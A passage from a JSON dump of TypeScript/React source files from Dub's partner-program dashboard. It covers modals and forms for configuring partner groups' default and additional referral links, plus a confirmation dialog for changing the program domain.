};\n    } catch {\n      // Fallback if URL parsing fails\n      return {\n        validationMode: \"exact\",\n        domain: formData.url,\n        path: \"\",\n      };\n    }\n  }\n  return {\n    validationMode: \"domain\",\n    domain: formData.domain || \"\",\n    path: \"\",\n  };\n}\n\ninterface AddDestinationUrlModalProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  link?: PartnerGroupAdditionalLink;\n  additionalLinks: PartnerGroupAdditionalLink[];\n  onUpdateAdditionalLinks: (links: PartnerGroupAdditionalLink[]) => void;\n}\n\nfunction AddDestinationUrlModalContent({\n  setIsOpen,\n  link,\n  additionalLinks,\n  onUpdateAdditionalLinks,\n}: AddDestinationUrlModalProps) {\n  const {\n    register,\n    handleSubmit,\n    watch,\n    setValue,\n    setError,\n    clearErrors,\n    reset,\n    formState: { errors, isDirty },\n  } = useForm<AdditionalLinkFormData>({\n    defaultValues: link\n      ? partnerLinkToFormData(link)\n      : {\n          validationMode: \"domain\",\n          domain: \"\",\n          url: \"\",\n        },\n  });\n\n  const [domain, url, validationMode] = watch([\n    \"domain\",\n    \"url\",\n    \"validationMode\",\n  ]);\n\n  // Reset form state when switching between validation modes\n  useEffect(() => {\n    if (validationMode === \"domain\") {\n      // Clear URL field and errors when switching to domain mode\n      setValue(\"url\", \"\", { shouldDirty: false });\n      clearErrors(\"url\");\n    } else if (validationMode === \"exact\") {\n      // Clear domain field and errors when switching to exact mode\n      setValue(\"domain\", \"\", { shouldDirty: false });\n      clearErrors(\"domain\");\n    }\n  }, [validationMode, setValue, clearErrors]);\n\n  const validateForm = (data: PartnerGroupAdditionalLink): boolean => {\n    const domainNormalized = data.domain.trim().toLowerCase();\n\n    if (!isValidDomainFormatWithLocalhost(domainNormalized)) {\n      const errorField = data.validationMode === \"exact\" ? \"url\" : \"domain\";\n      setError(errorField, {\n        type: \"manual\",\n        message:\n          data.validationMode === \"exact\"\n            ? \"Please enter a valid URL (e.g., https://acme.com/page).\"\n            : \"Please enter a valid domain (e.g., acme.com).\",\n      });\n      return false;\n    }\n\n    // Check for duplicate domain - regardless of validation mode\n    const duplicateDomain = additionalLinks.find(\n      (l) => l.domain === domainNormalized,\n    );\n\n    if (duplicateDomain && !link) {\n      // Don't check duplicates when editing\n      const errorField = data.validationMode === \"exact\" ? \"url\" : \"domain\";\n      setError(errorField, {\n        type: \"value\",\n        message: `You've already added \"${domainNormalized}\" as a link format. Choose a different domain to proceed.`,\n      });\n      return false;\n    }\n    return true;\n  };\n\n  const onSubmit = async (formData: AdditionalLinkFormData) => {\n    // Convert form data to backend schema\n    const backendData = formDataToPartnerLink(formData);\n\n    if (!validateForm(backendData)) {\n      return;\n    }\n\n    let updatedAdditionalLinks: PartnerGroupAdditionalLink[];\n\n    if (link) {\n      updatedAdditionalLinks = additionalLinks.map((existingLink) => {\n        const isMatch =\n          link.validationMode === \"exact\"\n            ? existingLink.domain === link.domain &&\n              existingLink.path === link.path\n            : existingLink.domain === link.domain &&\n              existingLink.validationMode === \"domain\";\n\n        return isMatch ? backendData : existingLink;\n      });\n    } else {\n      if (additionalLinks.length >= MAX_ADDITIONAL_PARTNER_LINKS) {\n        toast.error(\n          `You can only create up to ${MAX_ADDITIONAL_PARTNER_LINKS} additional link formats.`,\n        );\n        return;\n      }\n\n      updatedAdditionalLinks = [...additionalLinks, backendData];\n    }\n\n    // Update the parent form state instead of calling API directly\n    onUpdateAdditionalLinks(updatedAdditionalLinks);\n\n    // Reset form state after successful submission\n    reset();\n    setIsOpen(false);\n  };\n\n  const isEditing = !!link;\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <form\n      onSubmit={(e) => {\n        e.stopPropagation();\n        handleSubmit(onSubmit)(e);\n      }}\n    >\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <h2 className=\"text-lg font-semibold\">\n            {isEditing ? \"Edit link format\" : \"Add link format\"}\n          </h2>\n        </div>\n      </div>\n\n      <div className=\"flex-1 overflow-y-auto\">\n        <div className=\"space-y-6 p-6\">\n          <div>\n            <label className=\"text-sm font-medium text-neutral-800\">\n              Allowed link types\n            </label>\n            <div className=\"mt-2 grid grid-cols-1 gap-3\">\n              {URL_VALIDATION_MODES.map((type) => {\n                const isSelected = type.value === validationMode;\n\n                return (\n                  <div\n                    key={type.value}\n                    className={cn(\n                      \"relative w-full rounded-md border border-neutral-200 bg-white text-neutral-600\",\n                      \"overflow-hidden transition-all duration-150\",\n                      isSelected &&\n                        \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                    )}\n                  >\n                    <label\n                      className={cn(\n                        \"flex w-full cursor-pointer items-start gap-0.5 p-3\",\n                        \"transition-all duration-150 hover:bg-neutral-50\",\n                        isSelected && \"bg-neutral-50\",\n                      )}\n                    >\n                      <input\n                        type=\"radio\"\n                        value={type.value}\n                        className=\"hidden\"\n                        checked={validationMode === type.value}\n                        onChange={(e) => {\n                          setValue(\n                            \"validationMode\",\n                            e.target.value as \"domain\" | \"exact\",\n                            { shouldDirty: true },\n                          );\n                        }}\n                      />\n\n                      <div className=\"flex grow flex-col whitespace-nowrap text-sm\">\n                        <span className=\"font-medium\">{type.label}</span>\n                        <span className=\"text-neutral-600\">\n                          {type.description}\n                        </span>\n                      </div>\n\n                      <div className=\"flex items-center justify-end gap-1\">\n                        {type.recommended && (\n                          <Badge variant=\"blueGradient\">Recommended</Badge>\n                        )}\n                        <CircleCheckFill\n                          className={cn(\n                            \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                            isSelected && \"scale-100 opacity-100\",\n                          )}\n                        />\n                      </div>\n                    </label>\n\n                    <AnimatedSizeContainer height>\n                      {isSelected && (\n                        <div className=\"border-t border-neutral-200 p-3\">\n                          <div>\n                            <label className=\"mb-2 block text-sm font-medium text-neutral-800\">\n                              {type.value === \"exact\" ? \"URL\" : \"Domain\"}\n                            </label>\n                            {type.value === \"exact\" ? (\n                              <Input\n                                value={watch(\"url\") || \"\"}\n                                onChange={(e) => {\n                                  setValue(\"url\", e.target.value, {\n                                    shouldDirty: true,\n                                  });\n                                  clearErrors(\"url\");\n                                }}\n                                type=\"url\"\n                                placeholder={type.placeholder}\n                                className=\"max-w-full\"\n                                autoFocus={!isMobile}\n                                error={errors.url?.message}\n                              />\n                            ) : (\n                              <Input\n                                value={watch(\"domain\") || \"\"}\n                                onChange={(e) => {\n                                  setValue(\"domain\", e.target.value, {\n                                    shouldDirty: true,\n                                  });\n                                  clearErrors(\"domain\");\n                                }}\n                                type=\"text\"\n                                placeholder={type.placeholder}\n                                className=\"max-w-full\"\n                                autoFocus={!isMobile}\n                                error={errors.domain?.message}\n                              />\n                            )}\n                          </div>\n                        </div>\n                      )}\n                    </AnimatedSizeContainer>\n                  </div>\n                );\n              })}\n            </div>\n          </div>\n\n          {!link && (\n            <div className=\"flex items-start gap-2.5\">\n              <input\n                type=\"checkbox\"\n                id=\"conversionTracking\"\n                className=\"mt-1 h-4 w-4 rounded border-neutral-300 text-neutral-900 focus:ring-neutral-500\"\n                required\n              />\n              <label\n                htmlFor=\"conversionTracking\"\n                className=\"text-sm text-neutral-600\"\n              >\n                I confirm that conversion tracking has been set up on this{\" \"}\n                {validationMode === \"domain\" ? \"domain\" : \"URL\"}.{\" \"}\n                <a\n                  href=\"https://dub.co/docs/partners/quickstart\"\n                  target=\"_blank\"\n                  rel=\"noreferrer noopener\"\n                  className=\"text-neutral-900 underline hover:text-neutral-700\"\n                >\n                  Learn more\n                </a>\n              </label>\n            </div>\n          )}\n        </div>\n      </div>\n\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-end gap-2 p-5\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            onClick={() => setIsOpen(false)}\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n          />\n\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text={isEditing ? \"Update link format\" : \"Add link format\"}\n            className=\"h-9 w-fit\"\n            disabled={\n              !validationMode ||\n              (validationMode === \"domain\" &&\n                (!domain || domain.trim() === \"\")) ||\n              (validationMode === \"exact\" && (!url || url.trim() === \"\"))\n            }\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function AddDestinationUrlModal({\n  isOpen,\n  setIsOpen,\n  link,\n  additionalLinks,\n  onUpdateAdditionalLinks,\n}: AddDestinationUrlModalProps & {\n  isOpen: boolean;\n}) {\n  return (\n    <Modal showModal={isOpen} setShowModal={setIsOpen}>\n      <AddDestinationUrlModalContent\n        setIsOpen={setIsOpen}\n        link={link}\n        additionalLinks={additionalLinks}\n        onUpdateAdditionalLinks={onUpdateAdditionalLinks}\n      />\n    </Modal>\n  );\n}\n\nexport function useAddDestinationUrlModal(\n  props: Omit<AddDestinationUrlModalProps, \"setIsOpen\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    addDestinationUrlModal: (\n      <AddDestinationUrlModal\n        setIsOpen={setIsOpen}\n        isOpen={isOpen}\n        {...props}\n      />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/add-edit-group-default-link-sheet.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useDomains from \"@/lib/swr/use-domains\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport usePartnerGroupDefaultLinks from \"@/lib/swr/use-partner-group-default-links\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport { PartnerGroupDefaultLink } from \"@/lib/types\";\nimport { createOrUpdateDefaultLinkSchema } from \"@/lib/zod/schemas/groups\";\nimport { DomainSelector } from \"@/ui/domains/domain-selector\";\nimport { RewardIconSquare } from \"@/ui/partners/rewards/reward-icon-square\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Input, Sheet } from \"@dub/ui\";\nimport { Eye, Hyperlink } from \"@dub/ui/icons\";\nimport { normalizeUrl } from \"@dub/utils\";\nimport {\n  Dispatch,\n  PropsWithChildren,\n  ReactNode,\n  SetStateAction,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { useChangeProgramDomainModal } from \"./change-program-domain-modal\";\nimport { PartnerLinkPreview } from \"./partner-link-preview\";\n\ninterface DefaultPartnerLinkSheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  link?: PartnerGroupDefaultLink;\n}\n\ntype FormData = z.infer<typeof createOrUpdateDefaultLinkSchema>;\n\nfunction DefaultPartnerLinkSheetContent({\n  setIsOpen,\n  link,\n}: DefaultPartnerLinkSheetProps) {\n  const { group } = useGroup();\n  const { program } = useProgram();\n  const { defaultLinks } = usePartnerGroupDefaultLinks();\n  const { allWorkspaceDomains } = useDomains();\n  const { makeRequest, isSubmitting } = useApiMutation();\n\n  const { handleSubmit, watch, setValue, formState } = useForm<FormData>({\n    defaultValues: {\n      domain: link?.domain || program?.domain || \"\",\n      url: link?.url || \"\",\n    },\n  });\n\n  const [domain, url] = watch([\"domain\", \"url\"]);\n\n  const { setShowChangeDomainModal, ChangeDomainModal } =\n    useChangeProgramDomainModal({\n      newDomain: domain,\n      onConfirm: async () => {\n        const data = watch();\n        await createOrUpdateDefaultLink(data);\n      },\n    });\n\n  const createOrUpdateDefaultLink = async (data: FormData) => {\n    if (!group) return;\n\n    await makeRequest(\n      link\n        ? `/api/groups/${group.id}/default-links/${link.id}`\n        : `/api/groups/${group.id}/default-links`,\n      {\n        method: link ? \"PATCH\" : \"POST\",\n        body: {\n          domain: data.domain,\n          url: data.url,\n        },\n        onSuccess: async () => {\n          setIsOpen(false);\n          toast.success(\n            link ? \"Default link updated!\" : \"Default link created!\",\n          );\n          await mutatePrefix([\"/api/groups\", \"/api/programs\"]);\n        },\n      },\n    );\n  };\n\n  const onSubmit = async (data: FormData) => {\n    if (!group || !defaultLinks) return;\n\n    // Check if the link already exists\n    const existingLink = defaultLinks.find(\n      (link) => normalizeUrl(link.url) === normalizeUrl(data.url),\n    );\n\n    if (existingLink && existingLink.id !== link?.id) {\n      toast.error(\"A default link with this URL already exists.\");\n      return;\n    }\n\n    // Check if domain is different from program domain\n    if (program?.domain && data.domain !== program.domain) {\n      setShowChangeDomainModal(true);\n      return;\n    }\n\n    await createOrUpdateDefaultLink(data);\n  };\n\n  const isEditing = !!link;\n\n  // Check if the selected domain is verified\n  const selectedDomainData = allWorkspaceDomains?.find(\n    (d) => d.slug === domain,\n  );\n\n  return (\n    <>\n      <ChangeDomainModal />\n      <form onSubmit={handleSubmit(onSubmit)} className=\"flex h-full flex-col\">\n        <div className=\"flex h-16 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            {isEditing ? \"Edit default link\" : \"Create default link\"}\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n\n        <div className=\"flex flex-1 flex-col gap-6 overflow-y-auto p-6\">\n          <LinkSettingsCard\n            title={\n              <>\n                <RewardIconSquare icon={Hyperlink} />\n                <span className=\"leading-relaxed\">Link settings</span>\n              </>\n            }\n            content={\n              <div className=\"space-y-6\">\n                {isEditing && (\n                  <div className=\"space-y-2\">\n                    <label className=\"text-content-emphasis block text-sm font-medium\">\n                      Link domain\n                    </label>\n                    <DomainSelector\n                      selectedDomain={domain || \"\"}\n                      setSelectedDomain={(domain) =>\n                        setValue(\"domain\", domain, { shouldDirty: true })\n                      }\n                    />\n                    <p className=\"text-xs font-normal text-neutral-500\">\n                      Custom domain for your partner referral links (applies to\n                      all{\" \"}\n                      <a\n                        href=\"https://dub.co/help/article/partner-groups\"\n                        target=\"_blank\"\n                        className=\"cursor-help font-medium text-neutral-800 underline decoration-dotted underline-offset-2\"\n                      >\n                        partner groups\n                      </a>\n                      )\n                    </p>\n                  </div>\n                )}\n                <div className=\"space-y-2\">\n                  <label className=\"text-content-emphasis block text-sm font-medium\">\n                    Destination URL\n                  </label>\n                  <Input\n                    value={url || \"\"}\n                    onChange={(e) =>\n                      setValue(\"url\", e.target.value, { shouldDirty: true })\n                    }\n                    type=\"url\"\n                    placeholder=\"https://acme.dub.sh\"\n                    className=\"max-w-full\"\n                  />\n                  <p className=\"text-xs font-normal text-neutral-500\">\n                    Where your partner referral links will redirect to.{\" \"}\n                    <a\n                      href=\"https://dub.co/help/article/partner-link-settings\"\n                      target=\"_blank\"\n                      className=\"cursor-help font-medium text-neutral-800 underline decoration-dotted underline-offset-2\"\n                    >\n                      Learn more ↗\n                    </a>\n                  </p>\n                </div>\n              </div>\n            }\n          />\n\n          <LinkSettingsCard\n            title={\n              <>\n                <RewardIconSquare icon={Eye} />\n                <span className=\"leading-relaxed\">Link preview</span>\n              </>\n            }\n            content={\n              <PartnerLinkPreview\n                url={url}\n                domain={domain || \"\"}\n                linkStructure={group?.linkStructure || \"query\"}\n              />\n            }\n          />\n        </div>\n\n        <div className=\"flex items-center justify-end border-t border-neutral-200 p-5\">\n          <div className=\"flex items-center gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              onClick={() => setIsOpen(false)}\n              text=\"Cancel\"\n              className=\"w-fit\"\n              disabled={isSubmitting}\n            />\n\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={isEditing ? \"Update link\" : \"Create link\"}\n              className=\"w-fit\"\n              loading={isSubmitting}\n              disabled={!url || (isEditing && !formState.isDirty)}\n            />\n          </div>\n        </div>\n      </form>\n    </>\n  );\n}\n\nfunction LinkSettingsCard({\n  title,\n  content,\n}: PropsWithChildren<{ title: ReactNode; content: ReactNode }>) {\n  return (\n    <div className=\"border-border-subtle rounded-xl border bg-white text-sm shadow-sm\">\n      <div className=\"text-content-emphasis flex items-center gap-2.5 p-2.5 font-medium\">\n        {title}\n      </div>\n      {content && (\n        <div className=\"border-border-subtle -mx-px rounded-xl border-x border-t bg-neutral-50 p-2.5\">\n          {content}\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction DefaultPartnerLinkSheet({\n  isOpen,\n  ...rest\n}: DefaultPartnerLinkSheetProps & {\n  isOpen: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen}>\n      <DefaultPartnerLinkSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useDefaultPartnerLinkSheet(props: {\n  link?: PartnerGroupDefaultLink;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    DefaultPartnerLinkSheet: (\n      <DefaultPartnerLinkSheet\n        setIsOpen={setIsOpen}\n        isOpen={isOpen}\n        {...props}\n      />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/change-program-domain-modal.tsx",
    "content": "import useProgram from \"@/lib/swr/use-program\";\nimport { SimpleLinkCard } from \"@/ui/links/simple-link-card\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\n\ntype ChangeProgramDomainModalProps = {\n  showChangeDomainModal: boolean;\n  setShowChangeDomainModal: Dispatch<SetStateAction<boolean>>;\n  newDomain: string;\n  onConfirm: () => Promise<void>;\n};\n\nfunction ChangeProgramDomainModal(props: ChangeProgramDomainModalProps) {\n  return (\n    <Modal\n      showModal={props.showChangeDomainModal}\n      setShowModal={props.setShowChangeDomainModal}\n    >\n      <ChangeProgramDomainModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction ChangeProgramDomainModalInner({\n  setShowChangeDomainModal,\n  newDomain,\n  onConfirm,\n}: ChangeProgramDomainModalProps) {\n  const [confirming, setConfirming] = useState(false);\n  const [verificationText, setVerificationText] = useState(\"\");\n  const { isMobile } = useMediaQuery();\n  const { program: { domain: currentDomain, url } = {} } = useProgram();\n\n  const handleConfirm = async () => {\n    setConfirming(true);\n    try {\n      await onConfirm();\n      setShowChangeDomainModal(false);\n    } finally {\n      setConfirming(false);\n    }\n  };\n\n  if (!currentDomain || !url) return null;\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Switching to a different program domain\n        </h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"scrollbar-hide mb-4 flex max-h-[190px] flex-col gap-2 overflow-y-auto rounded-2xl border border-neutral-200 p-2\">\n          <SimpleLinkCard\n            link={{\n              shortLink: `https://${newDomain}`,\n              url: url,\n            }}\n          />\n        </div>\n\n        <div className=\"space-y-3\">\n          <p className=\"text-sm text-neutral-800\">\n            You've selected <strong className=\"text-black\">{newDomain}</strong>,\n            which is different from your program's current domain{\" \"}\n            <strong className=\"text-black\">{currentDomain}</strong>.\n          </p>\n          <p className=\"text-sm text-neutral-800\">\n            By making this change, you will:\n          </p>\n          <ul className=\"list-disc space-y-1.5 pl-5 text-sm text-neutral-800\">\n            <li>\n              Change the program's primary domain to{\" \"}\n              <strong className=\"text-black\">{newDomain}</strong>.\n            </li>\n            <li>\n              Update all default links across all partner groups to use the{\" \"}\n              <strong className=\"text-black\">{newDomain}</strong> domain.\n            </li>\n            <li>\n              Automatically update all partner links to use{\" \"}\n              <strong className=\"text-black\">{newDomain}</strong>, potentially\n              breaking them.\n            </li>\n          </ul>\n        </div>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          if (verificationText === \"confirm change program domain\") {\n            await handleConfirm();\n          }\n        }}\n        className=\"flex flex-col bg-neutral-50 text-left\"\n      >\n        <div className=\"px-4 sm:px-6\">\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">confirm change program domain</span>{\" \"}\n            below\n          </label>\n          <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern=\"confirm change program domain\"\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verificationText}\n              onChange={(e) => setVerificationText(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <div className=\"mt-8 flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowChangeDomainModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            disabled={verificationText !== \"confirm change program domain\"}\n            loading={confirming}\n            text=\"Continue\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useChangeProgramDomainModal({\n  newDomain,\n  onConfirm,\n}: {\n  newDomain: string;\n  onConfirm: () => Promise<void>;\n}) {\n  const [showChangeDomainModal, setShowChangeDomainModal] = useState(false);\n\n  const ChangeDomainModalCallback = useCallback(() => {\n    return (\n      <ChangeProgramDomainModal\n        showChangeDomainModal={showChangeDomainModal}\n        setShowChangeDomainModal={setShowChangeDomainModal}\n        newDomain={newDomain}\n        onConfirm={onConfirm}\n      />\n    );\n  }, [showChangeDomainModal, setShowChangeDomainModal]);\n\n  return useMemo(\n    () => ({\n      setShowChangeDomainModal,\n      ChangeDomainModal: ChangeDomainModalCallback,\n    }),\n    [setShowChangeDomainModal, ChangeDomainModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/group-additional-links.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport { GroupProps, PartnerGroupAdditionalLink } from \"@/lib/types\";\nimport {\n  MAX_ADDITIONAL_PARTNER_LINKS,\n  updateGroupSchema,\n} from \"@/lib/zod/schemas/groups\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  InfoTooltip,\n  LinkLogo,\n  NumberStepper,\n  Popover,\n  Switch,\n} from \"@dub/ui\";\nimport { PenWriting, Trash } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { useAddDestinationUrlModal } from \"./add-edit-group-additional-link-modal\";\n\ntype FormData = Pick<\n  z.input<typeof updateGroupSchema>,\n  \"maxPartnerLinks\" | \"additionalLinks\"\n>;\n\nexport function GroupAdditionalLinks() {\n  const { group, loading } = useGroup();\n\n  return (\n    <div className=\"flex flex-col divide-y divide-neutral-200 rounded-lg border border-neutral-200\">\n      <div className=\"px-6 py-6\">\n        <div className=\"flex items-center gap-2\">\n          <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n            Additional partner links\n          </h3>\n          <InfoTooltip\n            content={\n              \"Allow partners to create additional referral links. [Learn more.](https://dub.co/help/article/partner-link-settings#additional-partner-links)\"\n            }\n          />\n        </div>\n        <p className=\"text-content-subtle text-sm font-normal leading-5\">\n          Allow and configure extra partner links\n        </p>\n      </div>\n\n      {group ? (\n        <GroupAdditionalLinksForm group={group} />\n      ) : loading ? (\n        <div className=\"flex h-[4.5rem] animate-pulse rounded-b-lg border-t border-neutral-200 bg-neutral-100\" />\n      ) : (\n        <div className=\"text-content-subtle h-20 text-center\">\n          Failed to load additional partner links settings\n        </div>\n      )}\n    </div>\n  );\n}\n\nexport function GroupAdditionalLinksForm({ group }: { group: GroupProps }) {\n  const { makeRequest: updateGroup, isSubmitting } = useApiMutation();\n  const [enableAdditionalLinks, setEnableAdditionalLinks] = useState(\n    group.maxPartnerLinks > 0 || (group.additionalLinks?.length || 0) > 0,\n  );\n\n  const {\n    handleSubmit,\n    watch,\n    setValue,\n    reset,\n    formState: { isDirty, isValid },\n  } = useForm<FormData>({\n    mode: \"onBlur\",\n    defaultValues: {\n      maxPartnerLinks: group.maxPartnerLinks,\n      additionalLinks: group.additionalLinks || [],\n    },\n  });\n\n  const onSubmit = async (data: FormData) => {\n    if (!group) return;\n\n    await updateGroup(`/api/groups/${group.id}`, {\n      method: \"PATCH\",\n      body: data,\n      onSuccess: async () => {\n        toast.success(\"Saved changes!\");\n        // Reset form to clear dirty state after successful save\n        reset(data);\n        await mutatePrefix(\"/api/groups\");\n      },\n    });\n  };\n\n  const additionalLinks = watch(\"additionalLinks\") || [];\n  const maxPartnerLinks = watch(\"maxPartnerLinks\") || 0;\n\n  const { addDestinationUrlModal, setIsOpen } = useAddDestinationUrlModal({\n    additionalLinks,\n    onUpdateAdditionalLinks: (links: PartnerGroupAdditionalLink[]) => {\n      setValue(\"additionalLinks\", links, {\n        shouldDirty: true,\n        shouldValidate: true,\n      });\n    },\n  });\n\n  return (\n    <form\n      onSubmit={handleSubmit(onSubmit)}\n      className=\"flex flex-col divide-y divide-neutral-200\"\n    >\n      {enableAdditionalLinks && (\n        <>\n          <SettingsRow\n            heading=\"Link limit\"\n            description=\"Set how many extra links a partner can create\"\n          >\n            <NumberStepper\n              value={maxPartnerLinks}\n              onChange={(v) =>\n                setValue(\"maxPartnerLinks\", v, {\n                  shouldDirty: true,\n                  shouldValidate: true,\n                })\n              }\n              min={0}\n              max={MAX_ADDITIONAL_PARTNER_LINKS}\n              step={1}\n              className=\"w-full\"\n            />\n          </SettingsRow>\n\n          <SettingsRow\n            heading=\"Link formats\"\n            description=\"Specify the domains or URLs partners can create additional links on\"\n          >\n            <div>\n              <div className=\"flex flex-col gap-2\">\n                {additionalLinks.length > 0 ? (\n                  additionalLinks.map((link, index) => (\n                    <LinkFormat\n                      key={index}\n                      link={link}\n                      additionalLinks={additionalLinks}\n                      onUpdateAdditionalLinks={(\n                        links: PartnerGroupAdditionalLink[],\n                      ) => {\n                        setValue(\"additionalLinks\", links, {\n                          shouldDirty: true,\n                          shouldValidate: true,\n                        });\n                      }}\n                    />\n                  ))\n                ) : (\n                  <div className=\"border-border-subtle text-content-subtle flex h-16 items-center gap-3 rounded-xl border bg-white p-4 text-sm\">\n                    No link formats configured – partners won't be able to\n                    create additional links.\n                  </div>\n                )}\n              </div>\n\n              <Button\n                text=\"Add link format\"\n                variant=\"secondary\"\n                className=\"mt-4 h-8 w-fit rounded-lg px-3\"\n                onClick={() => setIsOpen(true)}\n                disabled={\n                  additionalLinks.length >= MAX_ADDITIONAL_PARTNER_LINKS\n                }\n                disabledTooltip={\n                  additionalLinks.length >= MAX_ADDITIONAL_PARTNER_LINKS\n                    ? `You can only create up to ${MAX_ADDITIONAL_PARTNER_LINKS} additional link formats.`\n                    : undefined\n                }\n              />\n            </div>\n          </SettingsRow>\n        </>\n      )}\n\n      <div className=\"flex items-center justify-between rounded-b-lg bg-neutral-50 px-6 py-5\">\n        <div className=\"flex items-center gap-3\">\n          <Switch\n            checked={enableAdditionalLinks}\n            fn={(checked: boolean) => {\n              setEnableAdditionalLinks(checked);\n\n              if (!checked) {\n                setValue(\"additionalLinks\", [], {\n                  shouldDirty: true,\n                  shouldValidate: true,\n                });\n\n                setValue(\"maxPartnerLinks\", 0, {\n                  shouldDirty: true,\n                  shouldValidate: true,\n                });\n              }\n            }}\n          />\n          <span className=\"text-sm font-medium text-neutral-800\">\n            Enable additional partner links\n          </span>\n        </div>\n        <div>\n          <Button\n            type=\"submit\"\n            text=\"Save changes\"\n            className=\"h-8\"\n            loading={isSubmitting}\n            disabled={!isValid || !isDirty}\n          />\n        </div>\n      </div>\n      {addDestinationUrlModal}\n    </form>\n  );\n}\n\nfunction SettingsRow({\n  heading,\n  description,\n  children,\n}: PropsWithChildren<{\n  heading: string;\n  description: string;\n}>) {\n  return (\n    <div className=\"grid grid-cols-1 gap-10 px-6 py-8 sm:grid-cols-2\">\n      <div className=\"flex flex-col gap-1\">\n        <h3 className=\"text-content-emphasis text-base font-semibold leading-none\">\n          {heading}\n        </h3>\n        <p className=\"text-content-subtle text-sm\">{description}</p>\n      </div>\n\n      <div>{children}</div>\n    </div>\n  );\n}\n\nfunction LinkFormat({\n  link,\n  additionalLinks,\n  onUpdateAdditionalLinks,\n}: {\n  link: PartnerGroupAdditionalLink;\n  additionalLinks: PartnerGroupAdditionalLink[];\n  onUpdateAdditionalLinks: (links: PartnerGroupAdditionalLink[]) => void;\n}) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { addDestinationUrlModal, setIsOpen } = useAddDestinationUrlModal({\n    link,\n    additionalLinks,\n    onUpdateAdditionalLinks,\n  });\n\n  // Delete link format\n  const deleteLinkFormat = async () => {\n    // Update the parent form state instead of calling API directly\n    onUpdateAdditionalLinks(\n      additionalLinks.filter(\n        (existingLink) => existingLink.domain !== link.domain,\n      ),\n    );\n    setOpenPopover(false);\n  };\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Delete link format\",\n    description:\n      \"Are you sure you want to delete this link format? This will prevent partners from creating links with this domain or URL.\",\n    confirmText: \"Delete\",\n    